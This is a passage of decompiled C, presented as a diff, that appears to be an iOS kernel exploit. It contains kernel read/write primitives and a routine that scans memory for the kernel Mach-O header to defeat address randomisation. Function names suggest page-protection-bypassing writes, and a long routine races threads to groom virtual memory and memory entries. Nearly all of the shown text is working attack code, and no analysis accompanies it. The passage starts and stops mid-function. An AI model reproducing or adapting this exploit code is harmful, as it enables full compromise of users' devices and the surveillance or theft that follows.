*(_QWORD *)(v24 + 344) = v9; +LABEL_6: + v7 = 163878; + sub_2183C(krwCtx, a2, (__int64)v34); + if ( v10 ) + { + if ( v35 == 3 ) + { + v11 = v9 + 8 * (((*(_DWORD *)(krwCtx + 384) + (_DWORD)v9) & 0x1FFFFFFu) / *(_DWORD *)(krwCtx + 384)); + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)krwCtx, v11, 8, v31) ) + { + v27[0] = v31[0] & 0xFFFF000000003FFFLL | (((v36 >> 14) & 0x3FFFFFFFFLL) << 14); + if ( v27[0] == v31[0] ) + goto LABEL_12; + if ( (unsigned int)kwritebuf_last_1(krwCtx, v11, (__int64)v27, 8) ) + { + sub_2AABC(krwCtx, 0x2710u); +LABEL_12: + if ( noppl_kwrite32( + krwCtx, + v9 + *(unsigned int *)(krwCtx + 384) + (*(_QWORD *)(krwCtx + 392) & a2), + a3) ) + { + v7 = 0; + } + else + { + v7 = 163856; + } + goto LABEL_27; + } + v7 = 163856; + } + else + { + v7 = 163855; + } + } + else + { + v7 = 163857; + } + } +LABEL_27: + sub_25164(krwCtx, 7u); + return v7; + } + } + v7 = 708619; + goto LABEL_27; + } + } + else + { + v6 = 163867; + } + } + v7 = v6; + goto LABEL_27; + } + return 708642; +} +// B7FC: variable 'v10' is possibly undefined +// B8D8: variable 'v12' is possibly undefined +// BA3C: variable 'v16' is possibly undefined +// BA54: variable 'v17' is possibly undefined +// BA88: variable 'v23' is possibly undefined +// 448E0: using guessed type __int64 (__fastcall *off_448E0[7])(); +// 48000: using guessed type __int64 qword_48000; +// 48048: using guessed type __int16 word_48048; +// 480D8: using guessed type __int64 qword_480D8; + +//----- (000000000000BB3C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_BB3C(__int64 *krwCtx, __int64 a2) +{ + __int64 i; // x1 + __int64 v4; // x20 + unsigned __int64 result; // x0 + + for ( i = a2 & 0xFFFFFFFFFFFFC000LL; ; i = *krwCtx - 0x4000 ) + { + *krwCtx = i; + if ( (unsigned int)kread32((__int64)krwCtx, i) == (unsigned int)MH_MAGIC_64 + && (unsigned int)kread32((__int64)krwCtx, *krwCtx + 4) == kCFBundleExecutableArchitectureARM64 + && (unsigned int)kread32((__int64)krwCtx, *krwCtx + 8) == MH_EXECUTE + && (unsigned int)kread32((__int64)krwCtx, *krwCtx + 12) == MH_FILESET ) + { + break; + } + } + v4 = *krwCtx; + result = kernel_get_base_unslid((struct_krwCtx *)krwCtx[4]); + krwCtx[1] = v4 - result; + return result; +} + +//----- (000000000000BBF4) ---------------------------------------------------- +__int64 __fastcall sub_BBF4(__int64 a1) +{ + vm_size_t v1; // x19 + mem_entry_name_port_t v2; // w20 + bool v3; // zf + unsigned __int8 *v4; // x22 + unsigned __int8 v5; // w8 + vm_address_t address; // [xsp+18h] [xbp-38h] BYREF + + v1 = atomic_load((unsigned __int64 *)(a1 + 13872)); + v2 = atomic_load((unsigned int *)(a1 + 13880)); + if ( v1 ) + v3 = v2 == 0; + else + v3 = 1; + if ( !v3 ) + { + atomic_fetch_add((atomic_uint *volatile)(a1 + 13888), 1u); + v4 = (unsigned __int8 *)(a1 + 13884); + do + { + v5 = atomic_load(v4); + if ( (v5 & 1) != 0 ) + break; + address = 0; + } + while ( vm_map(mach_task_self_, &address, v1, 0, 0, v2, 0, 1, 1, 1, 1u) == 1 ); + } + return 0; +} + +//----- (000000000000BCB4) ---------------------------------------------------- +__int64 __fastcall sub_BCB4(vm_address_t a1) +{ + mach_msg_type_number_t infoCnt; // [xsp+Ch] [xbp-64h] BYREF + int info[4]; // [xsp+10h] [xbp-60h] BYREF + __int128 v4; // [xsp+20h] [xbp-50h] + __int128 v5; // [xsp+30h] [xbp-40h] + natural_t v6[7]; // [xsp+40h] [xbp-30h] BYREF + natural_t nesting_depth; // [xsp+5Ch] [xbp-14h] BYREF + vm_size_t size; // [xsp+60h] [xbp-10h] BYREF + vm_address_t address; // [xsp+68h] [xbp-8h] BYREF + + size = 0; + address = a1; + nesting_depth = 0; + v5 = 0u; + memset(v6, 0, sizeof(v6)); + *(_OWORD *)info = 0u; + v4 = 0u; + infoCnt = 19; + if ( vm_region_recurse_64(mach_task_self_, &address, &size, &nesting_depth, info, &infoCnt) ) + return 0; + else + return *(_QWORD *)&v6[5]; +} + +//----- (000000000000BD20) ---------------------------------------------------- +__int64 __fastcall sub_BD20(__int64 a1, vm_size_t size, __int64 a3, mem_entry_name_port_t *a4) +{ + _DWORD *v8; // x25 + __int64 v9; // x26 + __int64 v10; // x24 + vm_address_t *v11; // x23 + __int64 result; // x0 + __int64 v13; // x0 + vm_size_t sizea; // [xsp+8h] [xbp-58h] BYREF + + v8 = (_DWORD *)(a1 + 26184); + v9 = 256; + while ( 1 ) + { + v10 = (unsigned int)*v8; + if ( (unsigned int)v10 > 0x3FF ) + return 3; + v11 = (vm_address_t *)(a1 + 8 * v10 + 17992); + result = vm_allocate(mach_task_self_, v11, size, 3); + if ( (_DWORD)result ) + return result; + ++*v8; + v13 = sub_BCB4(*v11); + if ( !v13 ) + return 5; + if ( v13 == a3 ) + break; + if ( !--v9 ) + return 3; + } + sizea = size; + result = mach_make_memory_entry(mach_task_self_, &sizea, *v11, 3, a4, 0); + if ( !(_DWORD)result ) + *(_DWORD *)(a1 + 4 * v10 + 13892) = *a4; + return result; +} + +//----- (000000000000BE20) ---------------------------------------------------- +__int64 __fastcall sub_BE20(vm_address_t *a1, vm_size_t size, vm_address_t mask, int flags, int a5) +{ + int v9; // w23 + __int64 result; // x0 + vm_address_t address; // [xsp+18h] [xbp-48h] BYREF + + v9 = a5 + 1; + while ( 1 ) + { + address = *a1; + result = vm_map(mach_task_self_, &address, size, mask, flags, 0, 0, 0, 3, 7, 1u); + if ( !(_DWORD)result ) + break; + if ( !--v9 ) + return result; + } + *a1 = address; + return result; +} + +//----- (000000000000BED0) ---------------------------------------------------- +__int64 __fastcall sub_BED0(__int64 a1, __int64 a2, unsigned int a3, __int64 a4) +{ + __int64 v7; // x25 + __int64 v8; // x24 + vm_size_t v9; // x21 + int v10; // w20 + unsigned int v11; // w28 + __int64 v12; // x10 + _QWORD *v13; // x20 + vm_size_t v14; // x27 + unsigned __int64 v15; // x9 + unsigned __int64 v16; // x8 + vm_size_t v17; // x22 + __int64 v18; // x9 + vm_size_t v19; // x20 + unsigned __int8 *v20; // x11 + unsigned int *v21; // x12 + unsigned __int64 v22; // x21 + __int64 v23; // x27 + mach_port_t *v24; // x25 + __int64 v25; // x0 + unsigned int v26; // w21 + vm_size_t v27; // x27 + __int64 v28; // x0 + vm_address_t v29; // x28 + __int64 v30; // x0 + __int64 memory_entry_64; // x0 + pthread_t *v32; // x24 + unsigned __int64 v33; // x22 + void *(__cdecl *v34)(void *); // x0 + unsigned int v35; // w8 + pthread_t *v36; // x22 + unsigned __int64 v37; // x25 + vm_address_t v38; // x25 + __int64 v39; // x0 + __int64 v40; // x21 + __int64 v41; // x27 + __int64 v42; // x24 + mach_port_t *v43; // x21 + unsigned __int64 v44; // x22 + vm_address_t v45; // x8 + __int64 v47; // x0 + unsigned __int64 v48; // x8 + unsigned __int64 v49; // x8 + __int64 v50; // x23 + mach_port_t *v51; // x28 + __int64 v52; // x8 + mach_port_t *v53; // x9 + mach_port_t v54; // w10 + __int64 v55; // x11 + unsigned __int64 v56; // x22 + __int64 v57; // x21 + unsigned int v58; // w28 + unsigned __int64 v59; // x23 + unsigned __int64 v60; // x0 + unsigned __int64 v61; // x8 + unsigned __int64 v62; // x9 + unsigned __int64 v63; // x10 + unsigned __int64 v64; // x10 + unsigned __int64 v65; // x9 + unsigned __int64 v66; // x10 + __int64 v67; // x20 + __int64 v68; // x0 + __int64 v69; // x21 + unsigned int v70; // w23 + unsigned __int64 v71; // x28 + unsigned __int64 v72; // x0 + unsigned __int64 v73; // x8 + unsigned __int64 v74; // x9 + unsigned __int64 v75; // x10 + unsigned __int64 v76; // x10 + unsigned __int64 v77; // x9 + unsigned __int64 v78; // x10 + mach_port_t v79; // w8 + __int64 v80; // x12 + vm_size_t v81; // x8 + _QWORD *v82; // x9 + __int64 k; // x8 + __int64 v84; // x11 + __int64 v85; // x21 + __int64 v86; // x21 + __int64 v87; // x0 + unsigned __int8 *v88; // x23 + __int64 v89; // x19 + pthread_t *v90; // x22 + __int64 v91; // x25 + unsigned __int64 v92; // x22 + bool v93; // w25 + vm_address_t v94; // x1 + __int64 m; // x22 + vm_address_t v96; // x1 + bool v97; // zf + mach_port_t *v98; // x20 + _QWORD *v100; // x8 + __int64 v101; // x12 + vm_size_t v102; // x9 + _QWORD *v103; // x10 + __int64 i; // x8 + __int64 v105; // x11 + __int64 j; // x8 + __int64 v107; // x11 + int v108; // [xsp+Ch] [xbp-484h] + vm_size_t v109; // [xsp+10h] [xbp-480h] + unsigned int v110; // [xsp+1Ch] [xbp-474h] + __int64 v111; // [xsp+28h] [xbp-468h] + unsigned int v112; // [xsp+3Ch] [xbp-454h] + unsigned __int64 v113; // [xsp+48h] [xbp-448h] + __int64 v114; // [xsp+50h] [xbp-440h] + __int64 v115; // [xsp+50h] [xbp-440h] + __int64 v116; // [xsp+58h] [xbp-438h] + __int64 v117; // [xsp+58h] [xbp-438h] + unsigned __int64 v118; // [xsp+58h] [xbp-438h] + int v119; // [xsp+6Ch] [xbp-424h] + vm_size_t v120; // [xsp+70h] [xbp-420h] + vm_size_t v121; // [xsp+70h] [xbp-420h] + mem_entry_name_port_t v122; // [xsp+78h] [xbp-418h] BYREF + mach_msg_type_number_t v123; // [xsp+7Ch] [xbp-414h] BYREF + int info[4]; // [xsp+80h] [xbp-410h] BYREF + __int128 v125; // [xsp+90h] [xbp-400h] + __int128 v126; // [xsp+A0h] [xbp-3F0h] + natural_t v127[7]; // [xsp+B0h] [xbp-3E0h] BYREF + natural_t v128; // [xsp+CCh] [xbp-3C4h] BYREF + vm_size_t v129; // [xsp+D0h] [xbp-3C0h] BYREF + vm_address_t v130; // [xsp+D8h] [xbp-3B8h] BYREF + memory_object_size_t v131; // [xsp+E0h] [xbp-3B0h] BYREF + mach_msg_type_number_t infoCnt; // [xsp+E8h] [xbp-3A8h] BYREF + natural_t nesting_depth; // [xsp+ECh] [xbp-3A4h] BYREF + vm_size_t v134; // [xsp+F0h] [xbp-3A0h] BYREF + vm_address_t v135; // [xsp+F8h] [xbp-398h] BYREF + memory_object_size_t size[4]; // [xsp+100h] [xbp-390h] BYREF + __int128 v137; // [xsp+120h] [xbp-370h] + _BYTE v138[28]; // [xsp+130h] [xbp-360h] BYREF + vm_address_t v139; // [xsp+150h] [xbp-340h] BYREF + mach_port_t name; // [xsp+15Ch] [xbp-334h] BYREF + vm_address_t v141; // [xsp+160h] [xbp-330h] BYREF + vm_address_t address; // [xsp+168h] [xbp-328h] BYREF + _QWORD v143[16]; // [xsp+170h] [xbp-320h] BYREF + _BYTE v144[512]; // [xsp+1F0h] [xbp-2A0h] BYREF + _BYTE v145[40]; // [xsp+3F0h] [xbp-A0h] BYREF + mach_port_t object_handle[2]; // [xsp+418h] [xbp-78h] BYREF + __int64 v147; // [xsp+420h] [xbp-70h] + + v7 = a1; + *(_QWORD *)object_handle = 0; + v147 = 0; + memset(v145, 0, 32); + v141 = 0; + address = 0; + name = 0; + v8 = a3; + v9 = vm_page_size; + v10 = *(_DWORD *)(a1 + 320); + if ( (int)number_of_cpus() >= 3 && (int)number_of_cpus() > 5 ) + { + v11 = 4; +LABEL_6: + v12 = 100; + goto LABEL_9; + } + if ( (int)number_of_cpus() < 3 ) + { + v11 = 1; + } + else + { + v11 = number_of_cpus() - 1; + if ( v11 > 3 ) + goto LABEL_6; + } + v12 = 200; +LABEL_9: + memset(v144, 0, sizeof(v144)); + memset(v143, 0, sizeof(v143)); + v119 = v10; + if ( _os_alloc_once_table[160] == -1 ) + { + v13 = (_QWORD *)_os_alloc_once_table[161]; + } + else + { + v67 = v12; + v68 = _os_alloc_once(); + v12 = v67; + v13 = (_QWORD *)v68; + } + v14 = v9 * v8; + if ( *v13 && (v15 = v13[1]) != 0 ) + { + *(_QWORD *)(a2 + 13864) = *v13; + atomic_store(v15, (unsigned __int64 *)(a2 + 13872)); + } + else if ( !*(_QWORD *)(a2 + 13864) ) + { + v115 = v8; + v117 = v12; + *(_QWORD *)info = 0; + v139 = 0; + LODWORD(v135) = 1; + v137 = 0u; + memset(v138, 0, sizeof(v138)); + memset(size, 0, sizeof(size)); + LODWORD(v134) = 19; + v42 = vm_region_recurse_64( + mach_task_self_, + (vm_address_t *)info, + &v139, + (natural_t *)&v135, + (vm_region_recurse_info_t)size, + (mach_msg_type_number_t *)&v134); + if ( (_DWORD)v42 ) + { +LABEL_58: + v19 = 0; + v120 = 0; + goto LABEL_170; + } + while ( 1 ) + { + if ( (unsigned int)v135 > 1 ) + { + v42 = 5; + goto LABEL_58; + } + if ( (_DWORD)v135 == 1 ) + { + v45 = v14 + 2 * vm_page_size; + if ( v139 >= v45 && *(memory_object_size_t *)((char *)&size[1] + 4) == 0 ) + break; + } + *(_QWORD *)info += v139; + v139 = 0; + LODWORD(v135) = 1; + v137 = 0u; + memset(v138, 0, sizeof(v138)); + memset(size, 0, sizeof(size)); + LODWORD(v134) = 19; + v47 = vm_region_recurse_64( + mach_task_self_, + (vm_address_t *)info, + &v139, + (natural_t *)&v135, + (vm_region_recurse_info_t)size, + (mach_msg_type_number_t *)&v134); + if ( (_DWORD)v47 ) + { + v42 = v47; + goto LABEL_58; + } + } + v139 = v14 + 2 * vm_page_size; + *(_QWORD *)(a2 + 13864) = *(_QWORD *)info; + atomic_store(v45, (unsigned __int64 *)(a2 + 13872)); + *v13 = *(_QWORD *)info; + v13[1] = v139; + v8 = v115; + v12 = v117; + } + if ( *(_QWORD *)(a2 + 13864) && (v16 = atomic_load((unsigned __int64 *)(a2 + 13872))) != 0 ) + { + v114 = v8; + v116 = v12; + v110 = a3; + v17 = 0; + v18 = 0; + v19 = atomic_load((unsigned __int64 *)(a2 + 13872)); + v20 = (unsigned __int8 *)(a2 + 13884); + v21 = (unsigned int *)(a2 + 13888); + v22 = v11; + v109 = v14; + v113 = v11; + while ( 1 ) + { + v111 = v18; + atomic_store(0, v20); + atomic_store(0, v21); + *(_QWORD *)object_handle = 0; + v147 = 0; + if ( v11 ) + break; + v112 = 0; + v26 = 0; +LABEL_25: + atomic_store(v26, (unsigned int *)(a2 + 13880)); + v27 = vm_page_size; + v28 = vm_map(mach_task_self_, &address, v19, 0, 1, v26, 0, 0, 1, 1, 1u); + if ( (_DWORD)v28 || (v28 = sub_BE20(&v141, v27 + v19, 0x1FFFFFFu, 9, 16), (_DWORD)v28) ) + { + v42 = v28; + v120 = v17; +LABEL_169: + v11 = v112; + goto LABEL_170; + } + v120 = v27 + v19; + v29 = v141; + v30 = vm_copy(mach_task_self_, address, v19, v141); + if ( (_DWORD)v30 + || (v30 = vm_deallocate(mach_task_self_, address, v19), (_DWORD)v30) + || (address = 0, v139 = v29 + v19, v30 = vm_allocate(mach_task_self_, &v139, v27, 100679680), (_DWORD)v30) + || (v30 = vm_deallocate(mach_task_self_, v139, v27), (_DWORD)v30) ) + { + v42 = v30; + goto LABEL_169; + } + v134 = 0; + v135 = v29; + v137 = 0u; + memset(v138, 0, sizeof(v138)); + memset(size, 0, sizeof(size)); + infoCnt = 19; + nesting_depth = 0; + memory_entry_64 = vm_region_recurse_64( + mach_task_self_, + &v135, + &v134, + &nesting_depth, + (vm_region_recurse_info_t)size, + &infoCnt); + v11 = v112; + if ( (_DWORD)memory_entry_64 ) + goto LABEL_71; + v108 = DWORD2(v137); + if ( v112 ) + { + v32 = (pthread_t *)v145; + v33 = v113; + while ( 1 ) + { + v34 = (void *(__cdecl *)(void *))nullsub_1(sub_BBF4); + if ( pthread_create(v32, 0, v34, (void *)a2) ) + break; + ++v32; + if ( !--v33 ) + goto LABEL_36; + } +LABEL_70: + v42 = 5; + goto LABEL_72; + } +LABEL_36: + while ( 1 ) + { + v35 = atomic_load((unsigned int *)(a2 + 13888)); + if ( v35 == v112 ) + break; + sub_2AABC(v7, 0x3E8u); + } + v131 = v19; + memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &v131, 0, 1, &name, v26); + if ( (_DWORD)memory_entry_64 ) + goto LABEL_71; + if ( v131 != v19 ) + goto LABEL_70; + v121 = v7; + atomic_store(1u, (unsigned __int8 *)(a2 + 13884)); + if ( v112 ) + { + v36 = (pthread_t *)v145; + v37 = v113; + while ( 1 ) + { + memory_entry_64 = pthread_join(*v36, 0); + if ( (_DWORD)memory_entry_64 ) + break; + *v36++ = 0; + if ( !--v37 ) + goto LABEL_44; + } +LABEL_71: + v42 = memory_entry_64; +LABEL_72: + v120 = v19; + goto LABEL_170; + } +LABEL_44: + v38 = v141; + v129 = 0; + v130 = v141; + v128 = 0; + v126 = 0u; + memset(v127, 0, sizeof(v127)); + *(_OWORD *)info = 0u; + v125 = 0u; + v123 = 19; + v39 = vm_region_recurse_64(mach_task_self_, &v130, &v129, &v128, info, &v123); + if ( (_DWORD)v39 ) + goto LABEL_167; + v40 = (unsigned int)(v108 + 1); + v41 = DWORD2(v126); + v42 = 5; + if ( DWORD2(v126) < (unsigned int)v40 - v112 || DWORD2(v126) > (unsigned int)v40 ) + goto LABEL_168; + if ( DWORD2(v126) < (unsigned int)v40 ) + { + v122 = 0; + v42 = 5; + v48 = v40 - DWORD2(v126); + if ( v40 != DWORD2(v126) && v48 <= v113 ) + { + v49 = v113 - v48; + v118 = v49 + 1; + if ( v49 == -1 ) + { +LABEL_83: + if ( v118 < v113 ) + { + v52 = ~v41 + v40; + v53 = &object_handle[v113 + v41 - v40 + 1]; + do + { + v54 = *v53; + v55 = *(unsigned int *)(a2 + 13856); + *(_DWORD *)(a2 + 13856) = v55 + 1; + *(_DWORD *)(a2 + 4 * v55 + 13600) = v54; + *v53++ = 0; + --v52; + } + while ( v52 ); + } + v56 = *(_QWORD *)&v127[5]; + if ( v119 <= 8791 ) + { + v69 = 0; + v70 = 0; + v71 = *(_QWORD *)&v127[5]; + while ( 1 ) + { + v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v69], vm_page_size, 3); + if ( (_DWORD)v39 ) + break; + v72 = sub_BCB4(*(_QWORD *)&v144[v69]); + if ( !v72 ) + goto LABEL_146; + v73 = *(unsigned int *)(v121 + 384); + if ( v72 >= v71 ) + v74 = v71; + else + v74 = v72; + if ( v72 <= v71 ) + v75 = v71; + else + v75 = v72; + if ( v75 - v74 >= v73 ) + goto LABEL_135; + if ( v72 >= v56 ) + v76 = v56; + else + v76 = v72; + if ( v72 > v56 ) + v56 = v72; + if ( v56 - v76 >= v73 ) + { +LABEL_135: + if ( !v70 && v69 ) + goto LABEL_158; + ++v70; + v71 = v72; + v56 = v72; + } + else + { + v71 = v74; + } + if ( v70 >= 2 ) + { + v77 = *(_QWORD *)&v127[5]; + if ( v72 >= *(_QWORD *)&v127[5] ) + v78 = *(_QWORD *)&v127[5]; + else + v78 = v72; + if ( v72 > *(_QWORD *)&v127[5] ) + v77 = v72; + if ( v77 - v78 >= v73 ) + { +LABEL_158: + v42 = mach_port_deallocate(mach_task_self_, name); + if ( (_DWORD)v42 ) + goto LABEL_168; + v85 = 0; + name = 0; + while ( 1 ) + { + v39 = vm_allocate(mach_task_self_, &v143[v85], v19, 3); + if ( (_DWORD)v39 ) + goto LABEL_167; + if ( ++v85 == 16 ) + { + v86 = 0; + while ( 1 ) + { + v87 = sub_BCB4(v143[v86]); + if ( !v87 ) + goto LABEL_146; + if ( v87 == *(_QWORD *)&v127[5] ) + { + v100 = (_QWORD *)v143[v86]; + v143[v86] = 0; + if ( !v100 ) + { +LABEL_219: + *(_QWORD *)a4 = v38; + *(_QWORD *)(a4 + 8) = 0; + *(_QWORD *)(a4 + 16) = v19; + *(_QWORD *)(a4 + 32) = 0; + v42 = 5; + v141 = 0; + goto LABEL_168; + } + v101 = v114; + if ( v110 ) + { + v102 = vm_page_size; + v103 = v100; + do + { + *v103 = *(_QWORD *)(a2 + 13592); + v103 = (_QWORD *)((char *)v103 + v102); + --v101; + } + while ( v101 ); + } + *(_QWORD *)a4 = v100; + *(_QWORD *)(a4 + 8) = v109; + *(_QWORD *)(a4 + 16) = v19; + *(_DWORD *)(a4 + 32) = v110; + v42 = vm_deallocate(mach_task_self_, v38, v19); + if ( !(_DWORD)v42 ) + { + v141 = 0; + if ( !(unsigned int)sub_BD20(a2, v19, *(__int64 *)&v127[5], &v122) ) + *(_DWORD *)(a4 + 36) = v122; + for ( i = 0; i != 16; ++i ) + { + v105 = v143[i]; + if ( v105 ) + { + *(_QWORD *)(a4 + 48 + i * 8) = v105; + v143[i] = 0; + } + } + for ( j = 0; j != 512; j += 8 ) + { + v107 = *(_QWORD *)&v144[j]; + if ( v107 ) + { + *(_QWORD *)(a4 + 176 + j) = v107; + *(_QWORD *)&v144[j] = 0; + } + } + return 0; + } + goto LABEL_168; + } + if ( ++v86 == 16 ) + goto LABEL_219; + } + } + } + } + } + v69 += 8; + if ( v69 == 512 ) + { +LABEL_145: + *(_QWORD *)a4 = v38; + *(_QWORD *)(a4 + 8) = 0; + *(_QWORD *)(a4 + 16) = v19; + v79 = name; + *(_DWORD *)(a4 + 32) = 0; + *(_DWORD *)(a4 + 36) = v79; + v141 = 0; + name = 0; +LABEL_146: + v42 = 5; + goto LABEL_168; + } + } + } + else + { + v57 = 0; + v58 = 0; + v59 = *(_QWORD *)&v127[5]; + while ( 1 ) + { + v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v57], vm_page_size, 3); + if ( (_DWORD)v39 ) + break; + v60 = sub_BCB4(*(_QWORD *)&v144[v57]); + if ( !v60 ) + goto LABEL_146; + v61 = *(unsigned int *)(v121 + 384); + if ( v60 >= v59 ) + v62 = v59; + else + v62 = v60; + if ( v60 <= v59 ) + v63 = v59; + else + v63 = v60; + if ( v63 - v62 >= v61 ) + goto LABEL_105; + if ( v60 >= v56 ) + v64 = v56; + else + v64 = v60; + if ( v60 > v56 ) + v56 = v60; + if ( v56 - v64 >= v61 ) + { +LABEL_105: + if ( !v58 && v57 ) + goto LABEL_147; + ++v58; + v59 = v60; + v56 = v60; + } + else + { + v59 = v62; + } + if ( v58 >= 2 ) + { + v65 = *(_QWORD *)&v127[5]; + if ( v60 >= *(_QWORD *)&v127[5] ) + v66 = *(_QWORD *)&v127[5]; + else + v66 = v60; + if ( v60 > *(_QWORD *)&v127[5] ) + v65 = v60; + if ( v65 - v66 >= v61 ) + { +LABEL_147: + v80 = v114; + if ( v110 ) + { + v81 = vm_page_size; + v82 = (_QWORD *)v38; + do + { + *v82 = *(_QWORD *)(a2 + 13592); + v82 = (_QWORD *)((char *)v82 + v81); + --v80; + } + while ( v80 ); + } + *(_QWORD *)a4 = v38; + *(_QWORD *)(a4 + 8) = v109; + *(_DWORD *)(a4 + 32) = v110; + *(_QWORD *)(a4 + 16) = v19; + v42 = mach_port_deallocate(mach_task_self_, name); + if ( !(_DWORD)v42 ) + { + name = 0; + if ( !(unsigned int)sub_BD20(a2, v19, *(__int64 *)&v127[5], &v122) ) + *(_DWORD *)(a4 + 36) = v122; + for ( k = 0; k != 512; k += 8 ) + { + v84 = *(_QWORD *)&v144[k]; + if ( v84 ) + { + *(_QWORD *)(a4 + 176 + k) = v84; + *(_QWORD *)&v144[k] = 0; + } + } + return 0; + } + goto LABEL_168; + } + } + v57 += 8; + if ( v57 == 512 ) + goto LABEL_145; + } + } + } + else + { + v50 = v113 + DWORD2(v126) - v40 + 1; + v51 = object_handle; + while ( 1 ) + { + v39 = mach_port_deallocate(mach_task_self_, *v51); + if ( (_DWORD)v39 ) + break; + *v51++ = 0; + if ( !--v50 ) + goto LABEL_83; + } + } +LABEL_167: + v42 = v39; + } +LABEL_168: + v120 = v19; + goto LABEL_169; + } + v39 = vm_deallocate(mach_task_self_, v38, v19); + v11 = v112; + if ( (_DWORD)v39 ) + goto LABEL_167; + v141 = 0; + v39 = mach_port_deallocate(mach_task_self_, name); + if ( (_DWORD)v39 ) + goto LABEL_167; + name = 0; + v7 = v121; + if ( v112 ) + { + v43 = object_handle; + v44 = v113; + do + { + v39 = mach_port_deallocate(mach_task_self_, *v43); + if ( (_DWORD)v39 ) + goto LABEL_167; + *v43++ = 0; + } + while ( --v44 ); + } + v20 = (unsigned __int8 *)(a2 + 13884); + v18 = v111 + 1; + v42 = 5; + v17 = v19; + v22 = v113; + v21 = (unsigned int *)(a2 + 13888); + if ( v111 + 1 == v116 ) + return v42; + } + v23 = v7; + v24 = object_handle; + while ( 1 ) + { + size[0] = v19; + v25 = mach_make_memory_entry_64(mach_task_self_, size, *(_QWORD *)(a2 + 13864), 1, v24, 0); + if ( (_DWORD)v25 ) + { + v42 = v25; + goto LABEL_69; + } + if ( size[0] != v19 ) + break; + ++v24; + if ( !--v22 ) + { + v112 = v11; + v26 = object_handle[0]; + v7 = v23; + goto LABEL_25; + } + } + v42 = 5; +LABEL_69: + v120 = v17; + } + else + { + v19 = 0; + v120 = 0; + v42 = 5; + } +LABEL_170: + v88 = (unsigned __int8 *)(a2 + 13884); + v89 = v11; + do + { +LABEL_171: + atomic_store(1u, v88); + if ( v11 ) + { + v90 = (pthread_t *)v145; + v91 = v11; + do + { + if ( *v90 ) + { + pthread_join(*v90, 0); + *v90 = 0; + } + ++v90; + --v91; + } + while ( v91 ); + } + v92 = 0; + v93 = 1; + do + { + v94 = v143[v92]; + if ( v94 ) + { + v42 = vm_deallocate(mach_task_self_, v94, v19); + if ( (_DWORD)v42 ) + break; + v143[v92] = 0; + } + v93 = v92++ < 0xF; + } + while ( v92 != 16 ); + } + while ( v93 ); + for ( m = 0; m != 512; m += 8 ) + { + v96 = *(_QWORD *)&v144[m]; + if ( v96 ) + { + v42 = vm_deallocate(mach_task_self_, v96, vm_page_size); + if ( (_DWORD)v42 ) + goto LABEL_171; + *(_QWORD *)&v144[m] = 0; + } + } + if ( v141 ) + v97 = v120 == 0; + else + v97 = 1; + if ( !v97 ) + vm_deallocate(mach_task_self_, v141, v120); + if ( address && v19 ) + vm_deallocate(mach_task_self_, address, v19); + if ( name + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name); + if ( v11 ) + { + v98 = object_handle; + do + { + if ( *v98 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, *v98); + ++v98; + --v89; + } + while ( v89 ); + } + return v42; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (000000000000CB98) ---------------------------------------------------- +// local variable allocation has failed, the output may be wrong! +__int64 __fastcall sub_CB98(uint64_t x0, uint32_t w1, uint64_t x2) +{ + __int64 v3; // x0 + _DWORD *v4; // x2 + _DWORD *v5; // x20 + int v6; // w1 + int v7; // w21 + uint64_t v8; // x19 + int v9; // w0 + int v10; // w8 + __int64 v11; // x19 + int v12; // w0 + void *(__cdecl *threadEntry)(void *); // x0 + int v14; // w8 + mach_port_t v15; // w20 + __int64 i; // x22 + mach_port_name_t v17; // w1 + __int64 j; // x21 + mach_port_name_t v19; // w1 + _DWORD *v20; // x0 + unsigned int v21; // w8 + unsigned __int64 v22; // x21 + mach_port_name_t v23; // w1 + _DWORD v25[2824]; // [xsp+8h] [xbp-66E8h] BYREF + vm_address_t address; // [xsp+2C28h] [xbp-3AC8h] + vm_size_t size; // [xsp+2C30h] [xbp-3AC0h] + vm_address_t v28; // [xsp+2C38h] [xbp-3AB8h] + vm_size_t v29; // [xsp+2C40h] [xbp-3AB0h] + _BYTE v30[2096]; // [xsp+2C48h] [xbp-3AA8h] + mach_port_name_t name; // [xsp+3478h] [xbp-3278h] + void *v32; // [xsp+3480h] [xbp-3270h] + unsigned int v33; // [xsp+3488h] [xbp-3268h] + vm_address_t v34; // [xsp+3490h] [xbp-3260h] + vm_size_t v35; // [xsp+3498h] [xbp-3258h] + vm_address_t v36; // [xsp+34A0h] [xbp-3250h] + vm_size_t v37; // [xsp+34A8h] [xbp-3248h] + _BYTE v38[72]; // [xsp+34B0h] [xbp-3240h] + mach_port_name_t v39; // [xsp+34F8h] [xbp-31F8h] + uint64_t args[3]; // [xsp+6658h] [xbp-98h] BYREF + pthread_t thread; // [xsp+6670h] [xbp-80h] BYREF + pthread_attr_t attr; // [xsp+6678h] [xbp-78h] BYREF + + v3 = __chkstk_darwin(x0, *(_QWORD *)&w1); + v5 = v4; + v7 = v6; + v8 = v3; + bzero(v25, 0x6650u); + v25[0] = v7; + v9 = pthread_attr_init(&attr); + if ( v9 ) + { + if ( v9 >= 0 ) + v10 = v9; + else + v10 = -v9; + v11 = v10 | 0x40000000u; + } + else + { + v12 = pthread_attr_setdetachstate(&attr, 1); + if ( v12 + || (args[2] = v8, + thread = 0, + args[0] = 0x1001, + args[1] = (uint64_t)v25, + threadEntry = (void *(__cdecl *)(void *))nullsub_1(sub_CE84), + (v12 = pthread_create(&thread, &attr, threadEntry, args)) != 0) + || (v12 = pthread_join(thread, 0)) != 0 ) + { + if ( v12 >= 0 ) + v14 = v12; + else + v14 = -v12; + v11 = v14 | 0x40000000u; + pthread_attr_destroy(&attr); + } + else + { + v11 = LODWORD(args[0]); + pthread_attr_destroy(&attr); + if ( !(_DWORD)v11 ) + *v5 = 0; + } + } + v15 = mach_task_self_; + if ( address && size ) + { + vm_deallocate(mach_task_self_, address, size); + address = 0; + size = 0; + } + if ( v28 && v29 ) + { + vm_deallocate(mach_task_self_, v28, v29); + v28 = 0; + v29 = 0; + } + for ( i = 0; i != 1024; i += 4 ) + { + v17 = *(_DWORD *)&v30[i]; + if ( v17 + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, v17, 1u, -1); + *(_DWORD *)&v30[i] = 0; + } + for ( j = 0; j != 64; j += 4 